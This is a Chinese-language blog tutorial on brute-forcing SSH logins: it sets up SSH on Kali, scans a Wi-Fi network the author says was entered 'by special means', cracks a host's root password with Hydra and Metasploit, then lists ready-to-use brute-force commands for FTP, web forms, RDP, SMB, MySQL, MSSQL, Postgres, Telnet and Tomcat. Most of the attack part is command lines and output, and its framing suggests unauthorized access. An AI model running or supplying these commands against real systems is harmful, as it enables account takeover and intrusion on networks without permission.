渗透实战(周六):Hydra&Metasploit暴力破解SSH登录口令

 

一. SSH服务开启前基础配置

1.1 修改配置文件📃

如下图示:打开root/etc/ssh/sshd_config 目录下文件

把# Port 22 修改为 Port 22  ,开启22号端口

把# ListenAddress 0.0.0.0 修改为 ListenAddress 0.0.0.0  ,允许所有IP地址访问22号端口

把# PermitRootLogin yes  修改为 PermitRootLogin yes    ,开通root用户登录权限,即root用户可以通过SSH远程登录Kali

把# PasswordAuthentication yes 修改为 PasswordAuthentication yes   ,开通密码验证服务,使用SSH远程登录Kali时需要root用户的密码

1.2 在Kali界面开启SSH 服务,然后将Kali放到后台运行

在Kali命令后窗口输入 :service ssh start , 开启SSH远程登录服务

在Kali命令后窗口输入 :service ssh status , 查看SSH服务状态 ,如图示:running

在Kali命令后窗口输入 :service ssh stop  ,关闭SSH服务

在Kali命令后窗口输入: service ssh restart ,重启SSH服务

在Kali命令后窗口输入: update-rc.d SSH enable  ,开机自启SSH服务

在Kali命令后窗口输入: update-rc.d SSH disabled   ,关闭SSH服务开机自启

1.3 使用SecureCRT软件登录Kali并进行管理操作

在MacBook Pro 桌面打开SecureCRT软件 (点此下载 Mac&Win可选) 

开始创建新的Quick Connect连接 

填写Kali的IP地址、端口号(SSH服务一般是22号端口)、用户  

输入root用户的密码,最后登录成功

二. 暴力破解SSH登录口令

假设我们通过特殊手段连入CMCC-yXz3 的Wi-Fi无线网络 ,拓扑图如下:

2.1使用nmap 扫描192.168.1.0/24网段,查看那台设备开启SSH服务

下图可知:

192.168.1.2 开放22号端口,开启SSH服务,是一台Apple主机;

192.168.1.3 开放22号端口,开启SSH服务,是一台基于Linux内核的Debian设备

我们推断,192.168.1.3 极有可能是一台开放SSH服务的服务器,而192.168.1.2是通过SSH连接服务器的终端管理设备

首先,我们知道192.168.1.3极有可能是开放SSH服务的某类服务器,而我们需要知道其用户名和登录口令,从而获取192.168.1.3的控制权

其次,我们采用Hydra"九头蛇"暴力破解工具来达到目的,在Kali命令行界面输入: hydra -h ,查看hydra帮助信息,如下图👇 

现在,通过使用Hydra来爆破192.168.1.3的用户名和登录口令

Kali中自带暴力破解字典,在/usr/share/wordlists/目录下,可自行选取,技术大神也可自行编写私人暴破字典!

当看到界面👇显示 [22][ssh] host: 192.168.1.3 login: root password: toor,我们太开心了!

暴力破解:
 hydra(九头蛇)
  参数:
    -R 继续从上一次进度接着破解
    -S 大写,采用SSL链接
    -s 小写,可通过这个参数指定非默认端口
    -l 指定破解的用户,对特定用户破解
    -L 指定用户名字典
    -p 小写,指定密码破解,少用,一般是采用密码字典
    -P 大写,指定密码字典
    -e 可选选项,n:空密码试探,s:使用指定用户和密码试探
    -C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
    -M 指定目标列表文件一行一条
    -o 指定结果输出文件
    -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
    -t 同时运行的线程数,默认为16
    -w 设置最大超时的时间,单位秒,默认是30s
    -v /-V显示详细过程
   
  各协议的具体命令:
    格式+示例:
    
1、破解ssh:     hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh     hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
    
2、破解ftp:     hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV     hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
    
3、get方式提交,破解web登录:     hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/     hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
    
4、post方式提交,破解web登录:     hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"     hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"     参数说明:     -t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,      10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示
    
5、破解https:     hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https     6、破解teamspeak:     hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak       7、破解cisco:     hydra -P pass.txt 10.36.16.18 cisco     hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable       8、破解smb:     hydra -L 用户名字典 -P pass.txt 10.36.16.18 smb       9、破解pop3:     hydra -l muts -P pass.txt my.pop3.mail pop3       10、破解rdp:     hydra ip rdp -l administrator -P pass.txt -V       11、破解http-proxy:     hydra -l admin -P pass.txt http-proxy://10.36.16.18

 2.2 使用Metasploit工具集中的小插件暴破SSH服务登录口令

首先,开启Metasploit,命令行以 "msf >"  开头 

在命令行窗口输入: search ssh ,查看与SSH相关的攻击模块 ,其中,我们需要的模块:auxiliary/scanner/ssh/ssh_login 

其次,

在msf命令后界面输入 :use auxiliary/scanner/ssh/ssh_login  ,调用SSH攻击模块

在msf命令后界面输入 :show options  ,查看需要我们设置的参数  ,我们需要补充四点:目标主机IP地址、用户名字典路径、密码字典路径、线程数(即每秒跑几个密码)

在msf命令后界面输入 :show options   ,查看设置正确与否,如图👇

msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt
username_file => /usr/share/wordlists/ssh_username.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt
pass_file => /usr/share/wordlists/ssh_password.txt
msf auxiliary(scanner/ssh/ssh_login) > set threads 5
threads => 5

 

最后,在msf命令后界面输入: run 发起攻击 ,经过漫长等待⌛️,我们看到:[+] 192.168.1.3:22 - Success: 'root:toor' !

Kali Linux(Metasploit口令猜解模块)

Metasploit口令猜解模块——

SSH服务口令猜解:

msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模块)

msf auxiliary(ssh_login) > show options (查看选项)

msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目标)

msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)

msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(ssh_login) > set THREADS 50(线程)

msf auxiliary(ssh_login) > exploit (开始)

 

Telnet口令猜解:

msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模块)

msf auxiliary(telnet_login) > show options (查看选项)

msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标)

msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)

msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(telnet_login) > exploit (开始)

 

Samba口令猜解:

msf > use auxiliary/scanner/smb/smb_login (使用smb_login模块)

msf auxiliary(smb_login) > show options (查看选项)

msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标)

msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)

msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(ssmb_login) > exploit(开始)

 

Mysql口令猜解:

msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模块)

msf auxiliary(mysql_login) > show options (查看选项)

msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标)

msf auxiliary(mysql_login) > set USERNAME root(用户名字典,或指定用户)

msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(mysql_login) > exploit(开始)

 

Postgresq口令猜解:

msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模块)

msf auxiliary(postgres_login) > show options (查看选项)

msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标)

msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)

msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(postgres_login) > exploit (开始)

 

Mssql口令猜解:

msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模块)

msf auxiliary(mssql_login) > show options (查看选项)

msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标)

msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)

msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(mssql_login) > exploit(开始)

 

Tomcat口令猜解:

msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模块)

msf auxiliary(tomcat_mgr_login) > show options(查看选项)

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目标)

msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用户名字典,或指定用户)

msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密码字典文件)

msf auxiliary(tomcat_mgr_login) > exploit(开始)

 

posted @ 2018-11-15 21:56  CHN如是说  阅读(17487)  评论(0编辑  收藏  举报